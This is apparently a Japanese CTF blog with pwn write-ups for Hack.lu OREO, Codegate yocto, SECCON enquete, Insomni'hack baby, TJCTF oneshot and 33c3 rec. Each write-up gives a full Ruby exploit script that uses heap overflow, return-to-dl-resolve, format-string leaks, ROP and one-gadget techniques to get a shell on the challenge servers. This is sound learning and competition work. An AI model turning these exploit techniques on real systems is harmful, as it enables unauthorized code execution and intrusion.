Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Hack.lu2014 OREO(pwn400)

本日は,何の日でしょうか? 本日は,バレンタインデーです.CTFerのみなさんはチョコをもらえたでしょうか. まだチョコをもらっていない人のためにOREOをみなさんにお届けします.

環境

本問題は以下の環境で行った.とりあえずUbuntu16.04LTSではうまく行かなかった.

uname -a

Linux vagrant-ubuntu-trusty 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04 LTS"

下調べ

file

oreo: ELF 32-bit LSB  executable
Intel 80386
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.26
BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b
stripped

checksec

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

解析

Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/           """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

各種コマンドの概要

1. Add new rifle

  • malloc(56)が呼ばれる
  • nameとdescriptionの入力
  • HeapOverflowが発生

2. show added rifles

  • 追加したライフルのname, descriptionが見れる

3. Order selected rifles

  • freeを使って追加したライフルを解放

4. Leave a Message with your Order

  • メッセージの入力ができる

5. Show current stats

  • 注文の回数が見れる

以下にmallocで確保される構造体を示す.

struct Rifle {
    char desc[25];
    char name[27];
    struct Rifle* next;        
};

攻略方針

HeapOverflowを利用すると,Rifle->nextを任意の値に書き換えることで,2を利用した際にリークが発生する.このリークを使って,まずgotの情報を全部抜き取ってしまう.同様にしてstdinのアドレスもリークさせる. 次に,fastbins unlink attackを用いて,mallocの戻り値を固定することを考える.x86では80byte以下のchunkはfree時にfastbinsというサイズ毎に存在するLIFOな片方向リストにつながる.これに偽のchunkを登録して,再度mallocを呼ぶとLIFOなので偽chunkが返ってくる.これを利用して任意のアドレスの書き換えが可能になる. また,本問題はlibcが与えられていない上に,カスタムlibcと呼ばれるオフセットなどが運営側でいじられているlibcになっている.いわば簡単にオフセットが求まらないlibcである.そこでReturn to dl-resolveと呼ばれるlibc情報を一切使わない手法を用いて,動的に__libc_systemのアドレスを取得する.そのためには,既知のアドレス上に偽構造体を作る必があるので,最初の方法でHeap領域のアドレスをリークし,そこにfgetsで読み込んで作り上げていく.その際にGOT領域なども書き換えて踏み台にしていったりするので,とても長いexploitになっていく.
Return to dl-resolveの説明に関しては,ROP stager + Return-to-dl-resolveによるASLR+DEP回避にかなわない(めんどくさかった…気が向いたらそれだけの記事を書くかもしれない)ので,こちらを参考にしていただきたい.

Exploit

stkofのときもそうだったが,Exploitが難しいと説明が難しい… コードにそって詳しいコメントを書いていったので,それを追って見ていこうと思う.

# coding: ascii-8bit
require 'pwnlib'

host = "localhost"
port = 8888

if ARGV[0] == "r"
  host = "wildwildweb.fluxfingers.net"
  port = 1414
end

def recv_until_Action(t)
  t.recv_until("Action: ")
end

def add(t, name, desc)
  recv_until_Action(t)
  t.sendline("1")
  t.recv_until("Rifle name: ")
  t.sendline(name)
  t.recv_until("Rifle description: ")
  t.sendline(desc)
  $rifle_counter += 1
  puts "Rifle count = %d" % $rifle_counter
end

def show(t)
  recv_until_Action(t)
  t.sendline("2")
  t.recv_until("Action: ").scan(/Description: (.*)\n/)[1][0].unpack("L*")
end

def order(t)
  recv_until_Action(t)
  t.sendline('3')
  t.recv_until("\n")
end

def leave(t, msg)
  recv_until_Action(t)
  t.sendline('4')
  t.recv_until(": ")
  t.sendline(msg)
end

def show_current_stats(t)
  t.sendline("5")
  t.recv_until("\n")
end

def leak(t, addr, name = nil)
  name = name.to_s if name.nil?
  payload = name.ljust(27, "A")
  payload << p32(addr)
  add(t, payload, 'desc')
  tmp = show(t)
  show_current_stats(t)
  return tmp
end

PwnTube.open(host, port) do |t|

  $rifle_counter = 0

  # ordered_counter 0x804a2a0
  # rifle_counter   0x804a2a4
  # pMessage        0x804a2a8
  # Message         0x804a2c0

  puts_got     = 0x804a248
  stdin_got    = 0x0804a280
  link_map_got = 0x804a22c

  pop3ret      = 0x8048b46  
  leave_ret    = 0x804844c
  popebp_ret   = 0x8048ae3
  
  # 偽chunkに利用
  # rifle_counterはライフルを追加していって,0x40にする
  fake_chunk_prev_size = 0x804a2a0
  fake_chunk_data = fake_chunk_prev_size + 8


  link_map, dl_resolve, printf, free, fgets, stack_chk_fail, malloc, puts, gmon_start, strlen, libc_start_main, isoc99_scanf = leak(t, link_map_got)
  stdin     = leak(t, stdin_got)[0]

  buf_addr = 0
  
  rifle_addr = 0x804a288
  rifle_cnt = 58

  # 影響がないヒープ領域(真ん中ぐらい)のアドレスを計算
  heap = leak(t, rifle_addr)[0]
  buf_addr = (heap + 0x8000) & 0xfffff000
  
  # 58回mallocを繰り返す
  rifle_cnt.times do |i|
    add(t, 'name', 'desc')
  end
  
  payload = p32(buf_addr)   # ebp
  payload << p32(fgets)
  payload << p32(leave_ret)
  payload << p32(buf_addr)  # ba5eba5e
  payload << p32(1025)
  payload << p32(stdin)
  
  heap = leak(t, rifle_addr, payload)[0]
  
  # desc[25]の方が先にあるので,+25してアドレスをnameに合わせる
  stager_addr = heap + 25

  puts("[+] link_map    0x%x" % link_map)
  puts("[+] dl_resolve  0x%x" % dl_resolve)
  puts("[+] stdin       0x%x" % stdin)
  puts("[+] stager_addr 0x%x" % stager_addr)
  puts("[+] buffer_addr 0x%x" % buf_addr)

  # Rifle->nextをNULLにすることで,余分にfreeされないようにする
  payload = 'A' * 27    # name
  payload << p32(0)     # next
  add(t, payload, 'desc')

  # 偽chunkの次のchunk(0x804a2e0)に適切なサイズを配置
  # 条件:8 < x < main_arena->system_mem (32bit)
  payload = "\x00" * 32
  payload << p32(0x9)
  leave(t, payload)


  ##########################
  # fastbins unlink attack #
  ##########################


  # Rifle->nextを偽chunkにしておく
  payload = 'A' * 27
  payload << p32(fake_chunk_data)
  add(t, payload, "")

  # 1回目のfreeは最新のchunkを解放
  # 2回目は,上記で仕込んだ偽chunkを解放
  order(t)
  
  # objdump -s -j .plt oreo
  plt = 0x8048450     # push link_map; jmp popebp_ret;
  
  # ebpをずらすので,Canaryが一致せず,__stack_chk_failが呼ばれる

  payload = ""                # 書き換え前GOT
  payload << p32(stager_addr) # link_map
  payload << p32(popebp_ret)  # dl-resolve
  payload << p32(printf)      # printf
  payload << p32(plt)         # free
  payload << p32(fgets)       # fgets
  payload << p32(leave_ret)   # __stack_chk_fail
  payload << p32(malloc)      # malloc
  payload << p32(puts)        # puts
  
  # fastbins unlink attackにより,偽chunkが返される
  # この偽chunkは選択肢4で使われるアドレスを指す
  # これをlink_map_gotに書き換えることで,選択肢4での入力先を書き換え
  add(t, 'rID', p32(link_map_got))

  # 書き換えたことによりfgets(link_map_got, 0x80, stdin)が呼ばれる
  leave(t, payload)
  
  # 書き換えられたfreeが実行
  order(t)

  
  ########################
  # Return to dl-resolve #
  ########################


  binsh_str  = "/bin/sh\x00"
  system_str = "system\x00\x00"

  # fgets(buf_addr, 0x401, stdin)に入力されていくpayload
  fake_rel = buf_addr + 11 * 4 + binsh_str.length + system_str.length
  fake_dynsym = fake_rel + 8

  
  # objdump -D oreo -M intel -j .rel.plt
  relplt = 0x080483d8
  
  # objdump -s -j .dynsym oreo
  dynsym = 0x080481f8
  # dynsymを偽Elf32_Sym構造体に書き換える
  dynsym = fake_dynsym 
  
  # gdb-peda$ find 0x080481f8
  dynsym_addr = 0x804a188
  
  # objdump -s -j .dynstr oreo
  dynstr = 0x080482c8
  
  # dl_runtime_resolve関数の第2引数reloc_offset
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info = (index_dynsym << 8) | 7

  puts("[+] fake_rel     0x%x" % fake_rel)
  puts("[+] fake_dynsym  0x%x" % fake_dynsym)
  puts "[+] reloc offset 0x%x" % reloc_offset
  puts "[+] index dynsym 0x%x" % index_dynsym
  puts "[+] r_info       0x%x" % r_info
  
  if(dynsym + index_dynsym * 16 == fake_dynsym)
    puts "assert"
  end
  
  if(index_dynsym < 256)
    puts "assert2"
  end

  # fgets(buf_addr, 1025, stdin)に入るpayload
  payload =  p32(0xba5eba5e)

  # fgets(dynsym_addr, 5, stdin)
  # dynsymをfake_dynsymに書き換え
  payload << p32(fgets)
  payload << p32(pop3ret)
  payload << p32(dynsym_addr) 
  payload << p32(5) 
  payload << p32(stdin)

  # dl_resolve(link_map, reloc_offset)
  # その後,eipが__libc_systemに移る
  payload << p32(dl_resolve)
  payload << p32(link_map)
  payload << p32(reloc_offset) 
  
  binsh = buf_addr + payload.length + 8
  payload << p32(0xdeadbeef)
  payload << p32(binsh)
  payload << binsh_str
  
  system = buf_addr + payload.length
  payload << system_str

  if(fake_rel == buf_addr + payload.length)
    puts "assert3"
  end

  # ここからfake_rel
  payload << p32(puts_got)
  payload << p32(r_info)  

  if(fake_dynsym == buf_addr + payload.length)
    puts "assert4"
  end

  # ここから,fake_dynsym
  # fake_dynsym->st_name + dynstr = "system"を指したい
  payload << p32(system - dynstr) # st_name
  payload << p32(0)               # st_value
  payload << p32(0)               # st_size
  payload << [0x12].pack("C")     # st_info 
  payload << [0x00].pack("C")     # st_other
  payload << [0x00].pack("S")     # st_shndx
  
  payload << p32(0xdeadbeef)
  t.sendline(payload)
  
  # fake_dynsymの送ってdynsymを書き換え
  t.sendline(p32(dynsym))

  t.interactive

end

Hack.luのサーバはまだ動いているので,実際にリモートに向けてexploitコードを試した結果が以下である. f:id:encry1024:20170203234938p:plain また,lddでリンクされているlibcを求めて,実際に実行してみるとカスタムlibcだと言っている. f:id:encry1024:20170203235054p:plain

感想

たぶん半年ぐらい空けてようやく理解ができた.コンテスト中にここまで緻密にstagerしていくのは,まだできないので良い練習になったと思う.達成感はデカイ.@wapiflapioのwriteupを参考(丸パクリ)しながら検証していったので,とても助かった.しかしところどころ必要のないと思われる部分があり,そこは自分なりに修正したので間違っていた教えていただきたい.

参考資料

Codegate2015 Finals yocto(pwn600)

良い過去問題の1つだと思う.参考資料のサイト見ながら解いてみた.

下調べ

vagrant@ubuntu4ctf ~/c/Codegate> file yocto | sed -e 's/, /\n/g'
yocto: ELF 32-bit LSB executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
BuildID[sha1]=95c4e813fa1e2c84b3adf4bc77d48f5057761266
not stripped
vagrant@ubuntu4ctf ~/c/Codegate> checksec --file yocto
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       yocto

良いバイナリ

解析

80byte分readで読み込まれる.その際,".“で区切られた数字をatoiで数値に変換し,スタック上に格納し,格納した値のjmpで飛ぶ.
例えば,"1111.2222.3333"と入力した場合には,[esp]に2222, [esp+8]に1111,3333にjmpする動作となる.
また,shutdown(0, SHUT_RD); shutdown(1, SHUT_RD); shutdown(2, SHUT_RD);が最初の方にされており,これ以降のfd(0,1,2)の受信は禁止されている.(正直イマイチ意味がわかってない・・・後述のexploitでshがうまく起動できなかったのはこれが原因?)

Exploit

libcのアドレスをリークできるような処理が見つけられなかったし,練習したかったので,Return to dl-resolveを用いて解いてみる.
まず偽reloc_offsetを用いて,偽Elf32_Rel構造体を参照させる.次に,偽Elf32_Rel->r_infoに偽Elf32_Sym構造体を参照させる.最後に偽Elf32_Sym->st_nameの指す先を"system"になるように調節する.これらの状態にするためには既知のアドレスを使ってうまく配置しなければいけない.幸い今回はグローバル変数があるので,そこを使った.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

PwnTube.open(host, port) do |t|

  padding      = 21
  buf          = 0x80495c0
  plt          = 0x80482a0
  relplt       = 0x8048270
  dynsym       = 0x804818c
  dynstr       = 0x80481fc
  system_str   = "system\x00"
  fake_rel     = buf + 40
  system_addr  = fake_rel + 8
  fake_dynsym  = system_addr + system_str.length + padding
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info       = (index_dynsym << 8) | 0x7
  r_offset     = 0x8049610
  st_name      = system_addr - dynstr

  # relplt + reloc_offsetが,偽Elf32_Rel構造体を指すようにする
  payload = "." + reloc_offset.to_s + "." + plt.to_s
  payload << ";cat flag;" # 予めlsなどでFLAGを見つけておく
  payload = payload.ljust(40, "A")

  # 偽Elf32_Rel構造体
  payload << p32(r_offset)
  payload << p32(r_info)

  payload << system_str
  payload << "A" * padding

  # 偽Elf32_Sym構造体
  # dynstr + st_nameのアドレスが"system"を指す
  payload << p32(st_name)

  #STDIN.gets
  t.sendline(payload)

  puts t.recv

end

以下が実行結果である.

vagrant@ubuntu4ctf ~/c/Codegate> ruby x.rb                                            
[*] connected

Dyn4m1c L1nk3r? Hah! just cd80!
[*] connection closed

参考資料

SECCON 2016 Finals enquete(pwn100)

総合的な感想はこちら

encry1024.hatenablog.com

下調べ

vagrant@ubuntu4ctf ~/c/s/c/enquete> file enquete | sed -e 's/, /\n/g'                 ASLR: ON
enquete: ELF 32-bit LSB executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 2.6.24
BuildID[sha1]=0e97ebd89f7da13f10dac56bc8d4c858f62ac500
not stripped
vagrant@ubuntu4ctf ~/c/s/c/enquete> checksec --file enquete                           ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY       Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes  04       enquete

※libcは配布されている

解析

What is your name?
>> Binary Oishi
Hi, Binary Oishi
Do you like pwning?
>> Yes, I do
Thank you for your cooperation in the enquete!
  • ランダムで質問が表示される.
  • 質問の前に名前を入力できて,そこでBOFが起こせる
    • information leakが起こる
  • 質問の解答を保存するバッファをBOFで上書きして任意のとこにできる

Exploit

Canaryがあるけど,Partial RELROだったし任意アドレスの書き換えもできるので,stack_chk_failを書き換えてReturn to vuln的な感じで行こうと考えた.名前入力時のBOFを使って,readのアドレスをリークして,libcベース求めて,systemと/bin/sh出すのと,stack_chk_failのgotを脆弱性がある関数に変更する.あとは,飛び先がうまくなるように適当にスタックを配置する.
そんな感じで作ったのが以下のexploit.正直急いでいたので,ハードコーディングしてるアドレスが何かなんて覚えちゃいない.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888
offset_read   = 0xd5980
offset_system = 0x3ada0
offset_binsh  = 0x15b82b


if(ARGV[0] == 'r')
  host = '10.100.6.1'
  port = 28353
  offset_read   = 0xdaf60
  offset_system = 0x40310
  offset_binsh  = 0x16084c
end

PwnTube.open(host, port) do |t|
  
  enquete_addr       = 0x80485c2
  main_addr          = 0x804852d
  read_got           = 0x804a00c
  stack_chk_fail_got = 0x804a018
  addesp_44          = 0x80486e9

  payload = "A" * 84
  payload << p32(read_got)
  payload << p32(stack_chk_fail_got)
  t.recv_until(">> ")
  t.sendline(payload)
  
  t.recv_until("\n")
  read_got = t.recv(4).unpack("L")[0]
  
  libc_base   = read_got - offset_read
  libc_system = libc_base + offset_system
  libc_binsh  = libc_base + offset_binsh
  
  puts "[+] libc base   0x%x" % libc_base
  puts "[+] libc system 0x%x" % libc_system
  puts "[+] libc binsh  0x%x" % libc_binsh

  t.sendline(p32(main_addr))
  t.recv_until(">> ")

  payload = "B" * 8
  payload << p32(libc_system)
  payload << "HACK"
  payload << p32(libc_binsh) 
  payload << "C" * 64
  payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK
  payload << p32(stack_chk_fail_got)
  t.sendline(payload)
  
  payload = ""
  payload << p32(0x8048614)
  t.sendline(payload)
  t.recv_until(">> ")
  
  payload = p32(addesp_44)
  payload << "D" * 80
  payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK
  payload << p32(stack_chk_fail_got)
  t.sendline(payload)

  payload = ""
  payload << p32(main_addr)
  t.sendline(payload)
  t.recv_until(">> ")

  t.shell
end

感想

久しぶりのやっつけexploitだった.

Insomni'hack teaser 2017 baby(pwn50)

大会前2日テスト期間にもかかわらず耐えきれなくついやってしまった問題.テスト勉強に追われてここ一週間ぐらいpwnやってなかったので良いwarmup問題だった.まだテスト期間なのだが,writeupぐらい早めに書こうと思った.簡単な問題だけれど新年初CTFで新年初pwnで新年初flagゲットできたので満足度は高い.

下調べ

$ file baby | sed -e 's/, /\n/g'
baby: ELF 64-bit LSB shared object
x86-64
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.32
not stripped

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

libc配布

解析

  • fork-server型
  • Stack overflow,Format string bug, Heap overflowの3つの脆弱性がある関数を選択できる

Exploit

まずFSBを使ってlibcのアドレスやcanaryをleakさせる.その後stack overflowを使ってReturn to libcで終わり.すごくシンプル.(50点問題で最初からHOFなんて使わせないって思っていた.)
唯一考慮するといえば,fork-server型なのでそのままだと標準入出力が受け取れないというところ.そこで,今回はReturn to libcでdup2関数を使って,socketのfdをstdin,stdoutに複製する.(正直ココらへんの言葉の使い方が不安).その後,system("/bin/sh")を呼ぶ.
そうすると表現的に言えば,単純なReturn to libcというよりはROPに近い感じになるのかなぁ.
また,alarm(0xf)ぐらいで短く,フラグ探すのに手間取りそうだったので,bash -iを使ってみた.これを叩くとbashがSIGALRMを無視してくれるらしい.(参照:katagaitaiCTF勉強会 Pwnables編 2015 winter 関東|med P.267).
ただ同じディレクトリにflagがあったのでさほど意味はなかった.

以下exploit.rb

# coding: utf-8
require 'pwnlib.rb'

host = "localhost"
port =  0x539

# たまたま手元のlibcとオフセットがすべて同じだった
offset_getpwnam_r = 0xca8f0
offset_system = 0x45390
offset_binsh = 0x18c177
offset_pop_rsi_ret = 0x202e8
offset_pop_rdi_ret = 0x21102
offset_dup2  = 0xf6d90

if ARGV[0] == "r"
  host = "baby.teaser.insomnihack.ch"
  port = 1337
end

def stkof(t, send_size, payload)
  t.debug = true
  t.recv_until("> ")
  t.sendline("1")
  t.recv_until("? ")
  t.sendline(send_size.to_s)
  sleep(3)
  t.sendline(payload)
  puts t.recv_until("\n")
end

def fmt(t, payload)

  t.recv_until("> ")
  t.sendline('2')
  t.recv_until("> ")
  t.sendline(payload)
  data = t.recv_until("\n")
  t.recv_until("> ")
  t.sendline("")
  return data.gsub(/ /, "").chop

end

PwnTube.open(host, port) do |t|

  leak        = fmt(t, "%118$p").to_i(16) - 275
  libc_base   = leak - offset_getpwnam_r
  libc_system = libc_base + offset_system
  libc_binsh  = libc_base + offset_binsh
  libc_dup2   = libc_base + offset_dup2
  pop_rdi_ret = libc_base + offset_pop_rdi_ret
  pop_rsi_ret = libc_base + offset_pop_rsi_ret

  canary = fmt(t, "%138$p").to_i(16)

  puts "[+] libc base    0x%x" % libc_base
  puts "[+] libc system  0x%x" % libc_system
  puts "[+] libc binsh   0x%x" % libc_binsh
  puts "[+] canary       0x%x" % canary


  offset = 0x418
  payload = "A" * (offset - 0x10)
  payload << p64(canary)
  payload << p64(0xdeadbeefdeadbeef)

  # 8 x 13
  payload << p64(pop_rdi_ret)
  payload << p64(4)
  payload << p64(pop_rsi_ret)
  payload << p64(0)
  payload << p64(libc_dup2)

  payload << p64(pop_rdi_ret)
  payload << p64(4)
  payload << p64(pop_rsi_ret)
  payload << p64(1)
  payload << p64(libc_dup2)

  payload << p64(pop_rdi_ret)
  payload << p64(libc_binsh)
  payload << p64(libc_system)
  stkof(t, offset + 8 * 13, payload)

  t.sendline("/bin/bash -i")
  t.shell

end

以下が実行結果.フラグ取れて満足して二回目にdateコマンドを叩いてalarmが無視されている時間経過していることを示そうと思ったら,すっかりわすれて風呂に入ってしまったため20分近くたっている.しかしその後コマンド叩いても反応するあたり,やっぱり無視できている.

f:id:encry1024:20170123222132p:plain

感想

テスト勉強の退屈から逃れることが出来たのでよかった.

TJCTF2016 oneshot (pwn170)

簡単なやつを解いてモチベを上げた.

下調べ

vagrant@alice1000:~/c/tjctf2016$ file oneshot  | sed -e 's/, /\n/g'                                                                                                          ASLR: ON
oneshot: ELF 64-bit LSB executable
x86-64
version 1 (SYSV)
dynamically linked
interpreter /lib64/ld-linux-x86-64.so.2
for GNU/Linux 2.6.32
BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59
not stripped

vagrant@alice1000:~/c/tjctf2016$ checksec --file oneshot                                                                                                                     ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       oneshot

とても良心的なバイナリ

解析

バイナリ自体はミジンコみたいに小さい.読みたいアドレスを値として送ると,Value: 0xdeadbeefという形で出力してくれる.次に飛びたいアドレスを値として送るとcallで飛んでくれる.

Exploit

面倒なので,libcはすでに特定済みとして話を進める.

vagrant@alice1000:~/c/tjctf2016$ md5sum libc.so.6                                                                                                                            ASLR: ON
a3e78b9d154d9d0936d3a1fda1743479  libc.so.6

本問題では,One-gadget-rce(Dragon Sectorの資料)というガジェットを用いてシェルを奪ってみる.これはlibc内にあり,うまく条件を満たせばexecve("/bin/sh", NULL, NULL)を実行してくれるガジェットのことである.以下に示したのが,One-gadget-rceの一例であり,今回使用したものである.
最初のmovは,環境変数の最初を指しており,それが後に,第三引数のrdxとして利用される.第二引数に利用されるrsiには,rsp+0x70が指す値が使われる.幸いこれが0になってくれたのでNULLとして利用できた.第一引数に利用されるrdiはコメントにあるとおり"/bin/sh"を示している.したがって,オフセット0xf0567の場所に飛べば無条件でシェルが起動するということがわかる.(環境変数がNULLにならないのは見逃して)

One-gadget-rce

00000000000f0567         mov        rax, qword [0x3c2eb8]
00000000000f056e         lea        rsi, qword [rsp+0x70]                       ; argument #2 for method execve
00000000000f0573         lea        rdi, qword [_libc_intl_domainname+407]      ; "/bin/sh", argument #1 for method execve
00000000000f057a         mov        rdx, qword [rax]                            ; argument #3 for method execve
00000000000f057d         call       execve

objdumpやgrep等でサクッと見つける方法があるのかもしれないが,わからなかったので,Hopperに投げて,execveが呼ばれているところを順番に見ていった(たいして数はない).

One-gadget-rceを利用して作成したexploitを以下に示す.

require 'pwnlib'

host = "localhost"
port = 8888

PwnTube.open(host, port) do |t|

  stdout = 0x600b20
  stdout_offset = 0x3c4620
  magic_offset = 0xf0567

  t.recv_until("\n")
  t.sendline(stdout.to_s)

  stdout_leak = t.recv_capture(/: (.+)\n/)[0].to_i(16)
  libc_base = stdout_leak - stdout_offset

  t.recv_until("\n")
  magic_gadget = libc_base + magic_offset

  puts "One-gadget-rce = 0x%x" % magic_gadget

  #STDIN.gets
  t.sendline(magic_gadget.to_s)
  puts t.recv_until("\n")

  t.shell

end

以下が実行結果である.

[*] connected
One-gadget-rce = 0x7f94faeec567
Good luck!
[*] waiting for shell...
[*] interactive mode
cat flag.txt
tjctf{m4gic_And_m0re_Mag1cK}

感想

存在は知っていたけれど使ったことはなかった(正確には前使おうとしたが結局何かが原因で成功しなかった)ので,体験できてよかった.フラグからもわかるように完全にOne-gadget-rceが想定解放っぽい感じがある.one-gadget-rceをサクッと見つけて,NULLにしておかなくちゃいけないスタックの状況とかを可視化できるコマンドラインツールほしいね.

33c3CTF rec (pwn200)

解けなかったので復習.精進しよう.

下調べ

file

../rec: ELF 32-bit LSB shared object
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 2.6.32
BuildID[sha1]=51890d1f3db5af5a951952942d4cf81d91143c3e
stripped

checksec

Canary:                                           Yes
NX Support:                                       Yes
PIE Support:                                      Yes
No RPATH:                                         Yes
No RUNPATH:                                       Yes
Partial RelRO:                                    Yes
Full RelRO:                                       Yes

Reversing

  • メモ機能と計算が行えるアプリケーション
  • 0,1はノート管理
    • 0が入力,1が表示・・・ではなく1は4word分leakするただの脆弱性の塊
  • 2,3,4は計算(前置,中置,後置記法の3種類)
    • 2の前置記法には秘密オプションSがあり,任意の回数のオペランドの合計(Sum)が計算できる('.'で終端).脆弱性有り
  • 5は入力した値の正負を判断する
    • 条件分岐において0のみが通ってしまい,意図しない関数ポインタの呼び出しが発生する脆弱性
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0

Exploit

選択肢1では,_IO_2_1_stdout_やPIEバイナリのアドレスなどがリークする.そこでstdoutのleakからret2libcに繋げられそうだと判断する.また選択肢2で,オペランドの入力を100回繰り返す(当日はプロに教えていただいた)と,選択肢5で使われる関数ポインタが保存されているstackを指す.さらに101回目には関数ポインタ呼び出し時の第一引数に当たる場所を指す.これらの情報を使って以下のExploitを作成した.アドレスなどの入力の際に大きい値だとオーバーフローしてしまうのでその対策としてアドレスにmメソッドを噛ましている. ret2libcにおいてlibcの配布はされていなかったので,libcを実行した際に出るバナー情報を表示させてバージョンを確認した.(存在は知っていたけれどやったことはなかったので,自分にとっては初めての経験で収穫が大きかった).

#coding: ascii-8bit
require 'pwnlib'

host = "localhost"
port = 8888

# Ubuntu GLIBC 2.24-3ubuntu2) stable release version 2.24

def m(x)
  -2**32 + x
end

if ARGV[0] == "r"
  host = "78.46.224.74"
  port = 4127

  # NG libc offset
  # $of_stdout = 0x1b6d60
  # of_system = 0x3b020
  # of_bin_sh = 0x15f60f

  of_stdout = 0x1b3d60
  of_system = 0x3a8b0
  of_bin_sh = 0x15cbcf
end

def leak_stdout(t)
  t.recv_until('> ')
  t.sendline('1')
  return t.recv_capture(/: .{8}(.{4})/)[0].unpack("L")[0]
end

PwnTube.open(host, port) do |t|

  libc_base =  leak_stdout(t) - of_stdout
  puts "libcbase = 0x%x" % libc_base

  libc_system = of_system + libc_base
  puts "libc_system = 0x%x" % libc_system

  libc_bin_sh = libc_base + of_bin_sh
  puts "libc_binsh = 0x%x" % libc_bin_sh

  t.recv_until('> ')
  t.sendline('2')
  t.recv_until(": ")
  t.sendline('S')

  100.times do |i|
    t.recv_until(": ")
    t.sendline(m(libc_system).to_s)
  end

  t.recv_until(": ")
  t.sendline(m(libc_bin_sh).to_s)
  t.sendline(".")

  t.recv_until('> ')
  t.sendline('5')
  t.sendline('0')

  t.shell
end

上記のexploitを回した結果が以下である.これは記事執筆時にまだ動いていたときのサーバである.

[mbp2013late@result]$ ruby exploit.rb r
[*] connected
libcbase = 0xf7614000
libc_system = 0xf764e8b0
libc_binsh = 0xf7770bcf
[*] waiting for shell...
[*] interactive mode
cat /challenge/flag
33C3_L0rd_Nikon_would_l3t_u_1n
ldd /challenge/rec
        linux-gate.so.1 =>  (0xf7783000)
        libc.so.6 => /lib32/libc.so.6 (0xf75bb000)
        /lib/ld-linux.so.2 (0x565a4000)
sha1sum /lib32/libc.so.6
7b50429917d0a860067c02ad268de3de87f683b1  /lib32/libc.so.6

解けなかった原因

単純にlibcが間違っていた.バナー表示させているんだから間違ってるはずないよ・・・ってその時思っていたが実際に異なっていた.違っていた原因は,本問題が32bitバイナリなため,単純にi386という文字列が目に止まったi386 build : 2.24-3ubuntu2 : glibc package : Ubuntuからダウンロードしてしまったからだった.

本番環境では64bitを想定し,64bitのための32bitなlibcをダウンロードしてこなくてはならない.

以下に示す通りオフセットはもちろんまったく違う(前者が間違っている方で,後者が正しい方)

vagrant@alice1000:~/c/3/r/result$ ./libc-offset libc-2.24.so
offset = {
    '__libc_start_main': 0x18180,
    'system': 0x3b020,
    '/bin/sh': 0x15f60f, # str
}
vagrant@alice1000:~/c/3/r/result$ ./libc-offset libc6i386/lib32/libc-2.24.so
offset = {
    '__libc_start_main': 0x18180,
    'system': 0x3a8b0,
    '/bin/sh': 0x15cbcf, # str
}
vagrant@alice1000:~/c/3/r/result$ sha1sum libc6i386/lib32/libc-2.24.so
7b50429917d0a860067c02ad268de3de87f683b1  libc6i386/lib32/libc-2.24.so

所感

最初pedaでcontext code, stackが表示されず直せなかったので,急遽まだ使い慣れていないgefを使って解いた.peda治したい・・・
libcに関しては本当にどうしようもないミスでチームの人にも無駄に時間をかけさせてしまったし今後同じ過ちを起こさぬよう自戒の意も込めて記事にした.絶対に間違えるなよ,絶対だぞ,フリじゃないからな.

PwnやReversingに使えそうなデバッガ紹介

ところで,クリスマス・イブといえばPwnやReversingなどバイナリを読みたくなる日です. なので本日のバイナリ日和をより良いものにするために,CTF Advent Calendar2016の空いている10日の記事を書きました.

Pwnにおけるデバッガ

Pwnにおいて,逆アセンブルで静的解析するだけではなくレジスタやスタック,ヒープの値を動的に観察することによって気づく脆弱性もある.そのためバイナリを動的解析するツールはとても重要である.今回は,デバッグツールについていろいろな物がある(とTwitter上で教えていただいた)ので参考までに一言紹介を交えまとめてみた.

gdb

GDB: The GNU Project Debugger
いわずと知れた超有名デバッガ.CTF問わず使えるとC言語の課題などでよくわからないバグとかの解析ができるので便利かも.使ったことがない方は,ももテクさんの記事gdbの使い方のメモ - ももいろテクノロジーの一読をおすすめする.

gdb-peda

GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB
